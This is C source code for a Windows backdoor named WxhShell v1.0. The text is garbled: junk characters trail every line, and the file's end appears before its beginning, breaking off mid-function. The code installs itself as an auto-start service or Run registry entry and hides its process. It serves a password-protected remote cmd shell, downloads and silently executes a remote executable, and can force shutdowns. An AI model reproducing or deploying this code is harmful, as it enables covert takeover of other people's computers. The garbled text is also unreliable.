    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M`. tf_x  
    if(Boot(SHUTDOWN)) !S^AgZ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T m_bz&Q  
    else { yWg@v +  
    closesocket(wsh); T_s _p  
    ExitThread(0); 1{r3#MVL  
    } -(~.6WnhS  
    break; [="e ziM{  
    }  ~3Lg"I  
  // 获取shell Lrta/SU*  
  case 's': { cGtO +DE  
    CmdShell(wsh); xAqb\|$^  
    closesocket(wsh); YNLV9.P6  
    ExitThread(0); un)4eo!7  
    break; %j:]^vqFA  
  } I3=%h  
  // 退出 ge,H-8'Z  
  case 'x': { kY&k-K\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'z0:Ccbj  
    CloseIt(wsh); sR(9IW-  
    break; r;/4F/6"  
    } {%<OD8>p  
  // 离开 oo,uO;0G  
  case 'q': { Uo-)pFN^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7R`M,u~f2^  
    closesocket(wsh); $h5xH9x ;  
    WSACleanup(); M=%l}FSTw(  
    exit(1); t0/p]=+.p/  
    break; XF Patd  
        } UM!ENI|  
  } VbJiZw(aR  
  } CUO+9X-<8  
EqyeJq .  
  // 提示信息 K-e9>fmB#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sc|_Q/`\.  
} o]+z)5zC  
  } 3[\iQ*d }B  
1QqYQafA  
  return; 8B7cBkl:  
} +vYoB$!  
e&simX;W  
// shell模块句柄 |S_T^'<W  
int CmdShell(SOCKET sock) 2VF%@p  
{ B268e  
STARTUPINFO si; AjmVc])  
ZeroMemory(&si,sizeof(si)); ^@ I   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pM^9c7@!:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y&[1`:-~-  
PROCESS_INFORMATION ProcessInfo; 3 ;)>Fs;  
char cmdline[]="cmd"; :}yi -/_8!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |M>eEE*F<  
  return 0; 6BY-^"W5`  
} !(mjyr  
K\>tA)IPSV  
// 自身启动模式 XUM!Qv  
int StartFromService(void) VcAue!MN  
{ *YW/_  
typedef struct &K[_J  
{ 3t`P@nL0;  
  DWORD ExitStatus; V_>\ 9m  
  DWORD PebBaseAddress; ji1viv  
  DWORD AffinityMask; YsG%6&zEq  
  DWORD BasePriority; sC27FVwo  
  ULONG UniqueProcessId; 6,"IDH|ND  
  ULONG InheritedFromUniqueProcessId; ;6gDV`Twy  
}   PROCESS_BASIC_INFORMATION; w<C#Bka  
~u)}ScTp  
PROCNTQSIP NtQueryInformationProcess; ]p*l%(dhY  
_6_IP0;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T#M,~lD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kv8Fko  
DamC F  
  HANDLE             hProcess; r^h4z`:L  
  PROCESS_BASIC_INFORMATION pbi; 6$fHtJD:  
m*ISa(#(,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]P#XVDn+;  
  if(NULL == hInst ) return 0; H70LhN  
{SwQ[$k=_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @'YS1N<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @L>q (Kg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &/mA7Vf>eR  
nS/)P4z  
  if (!NtQueryInformationProcess) return 0; d1T,eJ}  
x HoKo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UV5Ie!\nm  
  if(!hProcess) return 0; 1lq(PGX)  
%F\?R[^5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zBo1P(kek  
f _[<L  
  CloseHandle(hProcess); q:l>O5  
t/ +=|*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -0?~  
if(hProcess==NULL) return 0; 7P" | J\  
c#a @n 4  
HMODULE hMod; M54j@_81pX  
char procName[255]; H:!7:  
unsigned long cbNeeded; >G);j@Q  
g1XZ5P} f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S7=Bd[4  
q+P|l5_ t  
  CloseHandle(hProcess); aT_&x@x  
>fe- d#!{  
if(strstr(procName,"services")) return 1; // 以服务启动 umD!2 w  
AP[|Ta  
  return 0; // 注册表启动 %R@X>2l/_  
} 7+]=-  
&f!z1d-qg?  
// 主模块 bx<RV7>0  
int StartWxhshell(LPSTR lpCmdLine) 6WV\}d:  
{ GMMp|WV|  
  SOCKET wsl; 5:O-tgig.  
BOOL val=TRUE; }~#pEX~j*  
  int port=0; xB_!>SqF1U  
  struct sockaddr_in door; }MRd@ 0-?!  
MHSs!^/g5  
  if(wscfg.ws_autoins) Install(); tYZ[6 8  
dA@'b5N{"  
port=atoi(lpCmdLine); _Xnqb+  
Is]aj-#r  
if(port<=0) port=wscfg.ws_port; Se HagKA  
9l}FU$  
  WSADATA data; t0z!DOODZP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ (x;5{  
T;@;R %  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,$1eFgY%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WtViW=j'  
  door.sin_family = AF_INET; Z^V6K3GSz-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N5*u]j  
  door.sin_port = htons(port); +u!0rLb  
XS`M-{f`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s >e=?W  
closesocket(wsl); fNb`X  
return 1; ,$;yY)x7U  
} , FhekaA  
vN|l\!~  
  if(listen(wsl,2) == INVALID_SOCKET) { {S,l_d+(  
closesocket(wsl); .7i` (F)  
return 1; Uu!f,L;ty  
} .%.9n\b  
  Wxhshell(wsl); ,stN  
  WSACleanup(); wSb 1"a  
3= xhoRX  
return 0; S>.SSXlM  
Q@ 2i~Qo[  
} (Q%'N3gk  
F_Y7@Ei/  
// 以NT服务方式启动 f` :i.Sr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /J04^ 6  
{ ,S'p %g  
DWORD   status = 0;  yyv8gH  
  DWORD   specificError = 0xfffffff; I *x[:)X8  
Jj,U RD&0R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G"X8}:}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !,[C] Q1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T32+3wb"I  
  serviceStatus.dwWin32ExitCode     = 0; [ j3&/  
  serviceStatus.dwServiceSpecificExitCode = 0; `9)t[7  
  serviceStatus.dwCheckPoint       = 0; a["2VY6Eq@  
  serviceStatus.dwWaitHint       = 0; &krwf ]|  
0@G")L Ue0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b7!Qn}  
  if (hServiceStatusHandle==0) return; rA2 g&  
6b%WHLUeT  
status = GetLastError(); ^xh}I5  
  if (status!=NO_ERROR) .mDM[e@'  
{ rF aF Bd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9so6WIWc  
    serviceStatus.dwCheckPoint       = 0; <Ard 7UT  
    serviceStatus.dwWaitHint       = 0; `D`sr[3n  
    serviceStatus.dwWin32ExitCode     = status; [[>wB[w  
    serviceStatus.dwServiceSpecificExitCode = specificError; x%+aKZ(m)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?_"+^R z  
    return; j7sKsbb  
  } 0G7K8`a  
>=UF-xk;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w=LP"bqlI  
  serviceStatus.dwCheckPoint       = 0; _^el\  
  serviceStatus.dwWaitHint       = 0; 0$7s^?G0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OR}c)|1  
} H|R T?Q  
 PZ{Dv'C  
// 处理NT服务事件,比如:启动、停止 KN7^:cC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K$M^gh0  
{ l5\"9 ,<  
switch(fdwControl) UNPezHaz  
{ 2zVJvn7  
case SERVICE_CONTROL_STOP: 1AG=%F|.  
  serviceStatus.dwWin32ExitCode = 0; ,hq)1u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AZa 6 C w  
  serviceStatus.dwCheckPoint   = 0; F%i^XA]a*  
  serviceStatus.dwWaitHint     = 0; |tv"B@`  
  { mN!lo;m5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @O@GRq&V  
  } jeGj<m  
  return; +n<k)E@>J  
case SERVICE_CONTROL_PAUSE: w3=%*<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AtF3%Z v2  
  break; pGf@z:^{*-  
case SERVICE_CONTROL_CONTINUE: {e+-vl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zX0md x<|<  
  break; uiJS8(Cb  
case SERVICE_CONTROL_INTERROGATE: g.'yZvaP  
  break; OCZ[D{i9@  
}; x9x E&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 87:!C5e}  
} 5B&;uY  
t Z`z  
// 标准应用程序主函数 _~q?_'kx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v^zu:Z*  
{ oP!;\a( SL  
bYi`R)  
// 获取操作系统版本 2RN)<\P  
OsIsNt=GetOsVer(); &Y 4F!Rb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^5A t?I8  
:WSDf VX  
  // 从命令行安装 DyQM>xw)t  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1Wm)rXW[x  
*+uHQgn(  
  // 下载执行文件 3&6#F"7  
if(wscfg.ws_downexe) { M/):e$S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?0YCpn  
  WinExec(wscfg.ws_filenam,SW_HIDE); &g.@u~SI1  
} C4hx@abA  
wE@'ap#  
if(!OsIsNt) { )(tM/r4`c&  
// 如果时win9x,隐藏进程并且设置为注册表启动 uu}x@T@  
HideProc(); '=1KVE^Fk  
StartWxhshell(lpCmdLine); Q %wY  
} {_Lg tu  
else /v/C<]  
  if(StartFromService()) H"C[&r  
  // 以服务方式启动 {}QB|IH`  
  StartServiceCtrlDispatcher(DispatchTable); -S$1Yn  
else >m# e:[N  
  // 普通方式启动 }';D]c  
  StartWxhshell(lpCmdLine); m=:4`_0Q  
ukvtQz)  
return 0; /}Lt,9  
} UK1_0tp]x  
/DqLrA  
@BrMl%gV  
x7vctjM|  
=========================================== u`olW%C/T  
: C b&v07  
,_X /Gb6)  
&BtK($  
6gT5O]]#o  
?Q-h n:F)  
" cuK,X!O  
NM0tp )h  
#include <stdio.h> _>=L>*  
#include <string.h> fm(e3]  
#include <windows.h> KAsS [  
#include <winsock2.h> {q<03d~9|G  
#include <winsvc.h> u$D*tqxG  
#include <urlmon.h> H-3Eo#b#  
\~ BDm  
#pragma comment (lib, "Ws2_32.lib") ?W( 6  
#pragma comment (lib, "urlmon.lib") f+|$&p%  
@ JvPx0  
#define MAX_USER   100 // 最大客户端连接数 hzI|A~MFB  
#define BUF_SOCK   200 // sock buffer % , N<  
#define KEY_BUFF   255 // 输入 buffer 0<8XI>.3D  
yA)(*PFz  
#define REBOOT     0   // 重启 = pI?A^  
#define SHUTDOWN   1   // 关机 mo1oyQg8  
nOQa_G]Gz  
#define DEF_PORT   5000 // 监听端口 qim 'dp:  
7T"XPV|W6  
#define REG_LEN     16   // 注册表键长度 k{VE1@  
#define SVC_LEN     80   // NT服务名长度 (ewe"N+  
kPQtQh]y%  
// 从dll定义API e5.h ?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K9vIm4::d$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _DrJVC~6@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =l.+,|ZH!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); etd&..]J  
*26334B.R  
// wxhshell配置信息 rJa$9B*^  
struct WSCFG { ]uspx [UIc  
  int ws_port;         // 监听端口 xil[#W]7Ge  
  char ws_passstr[REG_LEN]; // 口令 4Q IE8f Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 557(EM  
  char ws_regname[REG_LEN]; // 注册表键名 ltkI}h,e  
  char ws_svcname[REG_LEN]; // 服务名 RZe'Kw -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =C L} $_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1yV: qp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4O:W#bx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |A%<Z(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :QWq"cBem  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  J*l4|^i<  
<" @zn  
}; vsL[*OeI  
x Au/  
// default Wxhshell configuration ,v&L:a  
struct WSCFG wscfg={DEF_PORT, W5^.-B,(K  
    "xuhuanlingzhe", v4RlLg dS%  
    1, x+]!m/  
    "Wxhshell", XX1Il;1G#  
    "Wxhshell", Iyd?|f"  
            "WxhShell Service", |ou b!fG4  
    "Wrsky Windows CmdShell Service", d*oUfiW  
    "Please Input Your Password: ", ^m/14MN|  
  1, NxVw!TsR  
  "http://www.wrsky.com/wxhshell.exe", Fb/XC:AD  
  "Wxhshell.exe" QI]Ih  
    }; tTN?r 8  
'TTUN=y  
// 消息定义模块 Z_gC&7+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `MEYd U1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8?*RIA.a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R.LL#u};  
char *msg_ws_ext="\n\rExit."; aF|d^  
char *msg_ws_end="\n\rQuit."; _/S?#   
char *msg_ws_boot="\n\rReboot..."; XE3'`D !  
char *msg_ws_poff="\n\rShutdown..."; ,Rx{yf]k  
char *msg_ws_down="\n\rSave to "; ?0_7?yTR/  
.bVmqR`  
char *msg_ws_err="\n\rErr!"; =<@\,xN>C  
char *msg_ws_ok="\n\rOK!"; UZEI:k,dv  
x f4{r+  
char ExeFile[MAX_PATH]; $ n,Z  
int nUser = 0; <!pQ  
HANDLE handles[MAX_USER]; `VQb-V  
int OsIsNt; |0{u->+ )  
Y~)T  
SERVICE_STATUS       serviceStatus; \@}#Gez  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ri1C-TJM)  
q8:{Nk  
// 函数声明 E42eOGp9i  
int Install(void); @<M*qK1h  
int Uninstall(void); B/Gd(S`@q  
int DownloadFile(char *sURL, SOCKET wsh); -[OXSaf6  
int Boot(int flag); Omi^>c4G  
void HideProc(void); ?EU\}N J  
int GetOsVer(void); |wox1Wt|E  
int Wxhshell(SOCKET wsl); 8h<ehNX ^I  
void TalkWithClient(void *cs); $6F)R|  
int CmdShell(SOCKET sock); 24Z]%+b*E  
int StartFromService(void); Pv<FLo%u<  
int StartWxhshell(LPSTR lpCmdLine); Jdy <w&S  
1Uf*^WW4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +Z!;P Z6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =2y8 CgLj  
\n9A^v`F/  
// 数据结构和表定义 #'OaKt?Z)  
SERVICE_TABLE_ENTRY DispatchTable[] = xt4)Ya  
{ fag^7rz  
{wscfg.ws_svcname, NTServiceMain}, 7n)&FX K`  
{NULL, NULL} Q,Z*8FH=  
}; `(0LK%w  
bXYA5wG  
// 自我安装 h{ lDxOH*  
int Install(void) $jI>[%  
{ TP1S[`nR  
  char svExeFile[MAX_PATH]; 8u2+tB  
  HKEY key; Sd IX-k.  
  strcpy(svExeFile,ExeFile); }.)s%4p8  
cgC\mM4Nla  
// 如果是win9x系统,修改注册表设为自启动 #JA}3]  
if(!OsIsNt) { A>NsKWf{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X E}H3/2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %o?IsIys  
  RegCloseKey(key); Pw@olG'Ah  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5&CDHc7Oj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sx ] T/xq  
  RegCloseKey(key); i.iio-  
  return 0; kllQca|$4  
    } oKFT? "[X  
  } JO@ Bf  
} O`cu_  
else { W[NEe,.>  
RV-hIdAU  
// 如果是NT以上系统,安装为系统服务 ? 8 1X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '?o9VrO  
if (schSCManager!=0) W v!<bT8r  
{ N0n^L|(R  
  SC_HANDLE schService = CreateService /T0nLp`gi  
  ( nY `2uN~9  
  schSCManager, #>@z 2K7  
  wscfg.ws_svcname, v_PdOp[ k  
  wscfg.ws_svcdisp, %'L;FPxB  
  SERVICE_ALL_ACCESS, AF4?IH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A1cb"N^  
  SERVICE_AUTO_START, tPHS98y  
  SERVICE_ERROR_NORMAL, 1'6cGpZY  
  svExeFile, +c206.  
  NULL, o%M<-l"!/  
  NULL, Bk|K%K  
  NULL, Nq8@Nyp  
  NULL, >s*DrfX6  
  NULL iO!6}yJ*V  
  ); ++[5q+b  
  if (schService!=0) (L6Cy% KgV  
  { y[0`hSQ)~  
  CloseServiceHandle(schService); j<tq1?? [b  
  CloseServiceHandle(schSCManager); qH%")7>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); myQ&%M gx  
  strcat(svExeFile,wscfg.ws_svcname); IGj`_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;n#%G^!H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Aj"7q  
  RegCloseKey(key); $%c{06Oq(  
  return 0; 3$M3Q]z  
    } 0?Yz]+{C  
  } E\2Ml@J  
  CloseServiceHandle(schSCManager); 8{&["?  
} dc0@Y  
} Az*KsY{/r  
#P2;K dDO  
return 1; CfT/R/L  
} f1{z~i9@$  
H*e'Cs/  
// 自我卸载 {LE&ylE  
int Uninstall(void) "Q+83adY4x  
{ Ar, 9U9  
  HKEY key; Q]JX`HgPaU  
pe04#zQK  
if(!OsIsNt) { S;@ay/*~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]j.k?P$U}  
  RegDeleteValue(key,wscfg.ws_regname); 0=U70nKr  
  RegCloseKey(key); S0@T0y#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LZ~`29qw(  
  RegDeleteValue(key,wscfg.ws_regname); 4\ $3  
  RegCloseKey(key); iL?iz?+.%@  
  return 0; L&w.j0fq  
  } Wr|G:(kw\!  
} HD# r0)  
} ZykrQ\q9  
else { KS>$`ax,  
18!VO4u\I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )Id2GV~2B  
if (schSCManager!=0) E)YVfM  
{ X:q_c=X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o<VP'F{p  
  if (schService!=0) !Rw&DFU  
  { 8:g!w:$x  
  if(DeleteService(schService)!=0) { 6* rcR]  
  CloseServiceHandle(schService); )&1!xF   
  CloseServiceHandle(schSCManager); RR25Q. c  
  return 0; r4k nN 2:  
  } f{Qp  
  CloseServiceHandle(schService); ]W9B6G_  
  } 9R]](g#  
  CloseServiceHandle(schSCManager); $iMC/Kym  
} ku.A|+Tn  
} o'UHStk  
ubGs/Vzye  
return 1; cx(2jk}6  
} LM,fwAX  
INNAYQ  
// 从指定url下载文件 f]_mzF=&  
int DownloadFile(char *sURL, SOCKET wsh) w7Dt1axB  
{ G%hO\EO  
  HRESULT hr; #\FT EY!  
char seps[]= "/"; Q-('5a19J  
char *token; :1<~}*B@{  
char *file; M9"Sgb`g  
char myURL[MAX_PATH]; Pz~q%J  
char myFILE[MAX_PATH]; H7e /  
?JqjYI{$  
strcpy(myURL,sURL); v}`1)BUeF  
  token=strtok(myURL,seps); 9m!7|(QV  
  while(token!=NULL) |cTpw1%I~  
  { 9O;vUy)  
    file=token; G=$}5; t  
  token=strtok(NULL,seps); 3V-6)V{KaE  
  } CIQwl 6H9  
sJ6a7A8)  
GetCurrentDirectory(MAX_PATH,myFILE); {e9Y !oFg  
strcat(myFILE, "\\"); ~mA7pOHj  
strcat(myFILE, file); L+R >%d s  
  send(wsh,myFILE,strlen(myFILE),0); vfbe$4mH  
send(wsh,"...",3,0); 7*'@qjTos  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rWr/p^~  
  if(hr==S_OK) yh!B!v'  
return 0; 8eX8IR!K9  
else 05)|"EX)  
return 1; l{EU_|q  
Yo'K pdn  
} (T;9us0  
T&/_e   
// 系统电源模块 nLd~2qBuv  
int Boot(int flag) B)a@fmp"a  
{ NV~vuC  
  HANDLE hToken; Zz")`hUG  
  TOKEN_PRIVILEGES tkp; JD&U}dJ  
#: hVF/  
  if(OsIsNt) { )0|):g   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /co%:}ln  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j`9Nwa  
    tkp.PrivilegeCount = 1; BTs0o&}e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "_)|8|gN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DB8s  
if(flag==REBOOT) { 1f;or_f#k?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UPO^V:.R4  
  return 0; ysth{[<5F3  
} 5&(3A|P2  
else { \3j)>u,r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3U o]> BG  
  return 0; ZY Kd  
} G+C} <S}  
  } n_;S2KM  
  else { )k~1,  
if(flag==REBOOT) { <ge}9pU)o^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `]&*`9IK{  
  return 0; uQ1jwYK`7  
} T9y768%  
else { uN(b.5y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L]>4Nd  
  return 0; xN "wF-s4?  
} w`Xg%*]}  
} AA.Ys89V  
x\]z j!  
return 1; SJ[AiHR  
} j!CU  
qZ?{-Vw  
// win9x进程隐藏模块 nrbazyKm  
void HideProc(void) 2:~cJk{  
{ /=ACdJ  
Wxk; g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2YluJ:LN  
  if ( hKernel != NULL ) ex0oAt^  
  { & qL<C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #'iPDRYy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L6kZ2-6  
    FreeLibrary(hKernel); @ AggznA8  
  } 4L11P  
'2xcce#  
return; wzbz }P>  
} _f66>a<  
c _p[yS  
// 获取操作系统版本 o oDdV >  
int GetOsVer(void) #!1IP~  
{ IadK@?X6j  
  OSVERSIONINFO winfo; ;YM]K R;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rFO_fIJno  
  GetVersionEx(&winfo); 1^tSn#j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zM\IKo_"  
  return 1; )1K! [ W}t  
  else H}a)^90_  
  return 0;  )Oo2<:"  
} D2V v\f  
A{1 \f*  
// 客户端句柄模块 Ri[S<GOMii  
int Wxhshell(SOCKET wsl) e@yx}:]h  
{  kMqD iJ  
  SOCKET wsh; H8sK}1.  
  struct sockaddr_in client; d[" x= [f  
  DWORD myID; 3Cd<p[%3#,  
[xWEf#', !  
  while(nUser<MAX_USER) Tfr`?:yF  
{ \d ui`F"Cc  
  int nSize=sizeof(client); unJ iE!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f!EOYowW  
  if(wsh==INVALID_SOCKET) return 1; IQ=CNby:  
pqOA/^ar  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nrF!;:x  
if(handles[nUser]==0) ~@?"' !U  
  closesocket(wsh); ,,Jjr[A_j  
else ~R'BU=!;F  
  nUser++; +R9%~Z.=  
  } ,5=kDw2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e7lo!( >#  
.@Hmg  
  return 0; a" ^#!G<+  
} i<J^:7  
i'Wcf1I-=  
// 关闭 socket 89db5Dx  
void CloseIt(SOCKET wsh) L%k67>  
{ 98h :X%  
closesocket(wsh); VZt;P%1;h  
nUser--; cB_pyX9Z  
ExitThread(0); r)c+".0d^  
} G I&qwA  
uvR0TIF4  
// 客户端请求句柄 gj[z ka0_  
void TalkWithClient(void *cs) U{HyxZ|q<  
{ WI0QLR'  
*&h6*zP?  
  SOCKET wsh=(SOCKET)cs; nrI"k2oA@  
  char pwd[SVC_LEN]; +< GrRYbC  
  char cmd[KEY_BUFF]; }+*w.X}L  
char chr[1]; 3>H2xh3Y  
int i,j; mn(/E/  
FLK"|*A  
  while (nUser < MAX_USER) { ?ISI[hoc  
"k/;`eAP  
if(wscfg.ws_passstr) { =!(S<];  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W;q#ZD(;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %N7gT*B:  
  //ZeroMemory(pwd,KEY_BUFF); eSJAPU(D  
      i=0; SgyqmYTvZw  
  while(i<SVC_LEN) { 23)F-.C}j  
E1^aAlVSD  
  // 设置超时 0BT;"B1  
  fd_set FdRead; }Q,(u   
  struct timeval TimeOut; P_kaIPP  
  FD_ZERO(&FdRead); -hQ96S8  
  FD_SET(wsh,&FdRead); &qNP?>C!=  
  TimeOut.tv_sec=8; G~JC gi  
  TimeOut.tv_usec=0; 8y-e+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jkZ_c!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >F,$;y52  
OY+!aG@.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LQ~LB'L  
  pwd=chr[0]; Z`^ K%P=  
  if(chr[0]==0xd || chr[0]==0xa) { & 8ccrw  
  pwd=0; Xs{/}wc.q;  
  break; f:n]Exsy  
  } qK<aZ%V  
  i++; FrgW7`s[A  
    } YN_X0+b3C  
@QvfN>T  
  // 如果是非法用户,关闭 socket 32M6EEmPG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); un.G6|S  
} =%Q\*xaR.W  
}*xC:A%aS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C<zx'lw!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s'R~ r  
bMSD/L  
while(1) { ( K^YD K  
Ti0 (VdY  
  ZeroMemory(cmd,KEY_BUFF); #&;m<%  
E6,`Ld;c[  
      // 自动支持客户端 telnet标准   OJnPP>  
  j=0; -OHvK0~  
  while(j<KEY_BUFF) { QWU5-p9e8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _K 4eD.  
  cmd[j]=chr[0]; $ijx#a&O  
  if(chr[0]==0xa || chr[0]==0xd) { 8yY"x ['  
  cmd[j]=0; 71K\.[ =-  
  break; Na~g*)uT$  
  } }~7H2d);-  
  j++; R tXF  
    } .q AQP L  
>:3xi{  
  // 下载文件 e-nWD  
  if(strstr(cmd,"http://")) { Rh wt<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d)`nxnbMeM  
  if(DownloadFile(cmd,wsh)) i n[n A a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9itdRa==  
  else n,C D4Nv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Ym&UY.u#  
  } X7'h@>R   
  else { qkIA,Kgy  
